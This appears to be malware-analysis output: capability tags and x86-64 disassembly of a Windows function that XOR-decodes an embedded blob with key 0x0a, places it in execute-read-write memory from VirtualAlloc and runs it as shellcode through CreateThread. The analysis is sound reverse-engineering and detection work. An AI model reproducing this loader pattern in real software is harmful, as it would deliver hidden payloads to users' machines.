Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x3d0
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x3c0], rax
mov ebx, 6
lea rdx, [rsp + 0x40]
mov ecx, ebx
lea rax, [0x140002240]
nop
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001030
mov rcx, qword [rax + 0x70]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movdqa xmm2, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
mov dword [rdx + 0x78], ecx
movzx ecx, byte [rax + 0x7c]
mov eax, 0x340
mov byte [rdx + 0x7c], cl
xor ecx, ecx
nop dword [rax]
movdqu xmm0, xmmword [rsp + rcx + 0x40]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rsp + rcx + 0x40], xmm1
movdqu xmm0, xmmword [rsp + rcx + 0x50]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rsp + rcx + 0x50], xmm0
movdqu xmm0, xmmword [rsp + rcx + 0x60]
pxor xmm0, xmm2
movdqu xmmword [rsp + rcx + 0x60], xmm0
movdqu xmm0, xmmword [rsp + rcx + 0x70]
pxor xmm1, xmm0
movdqu xmmword [rsp + rcx + 0x70], xmm1
add rcx, 0x40
cmp rcx, rax
jl 0x1400010e0
nop dword [rax]
nop word [rax + rax]
xor byte [rsp + rax + 0x40], 0xa
inc rax
cmp rax, 0x37d
jl 0x140001140
xor ecx, ecx
mov edx, 0x37d
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rdx, [rsp + 0x40]
mov rcx, rax
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rbx, 1
jne 0x140001172
mov rax, qword [rdx + 0x70]
xor r9d, r9d
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, byte [rdx + 0x7c]
xor edx, edx
mov byte [rcx + 0x7c], al
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x3c0]
xor rcx, rsp
call fcn.140001270
add rsp, 0x3d0
pop rbx
ret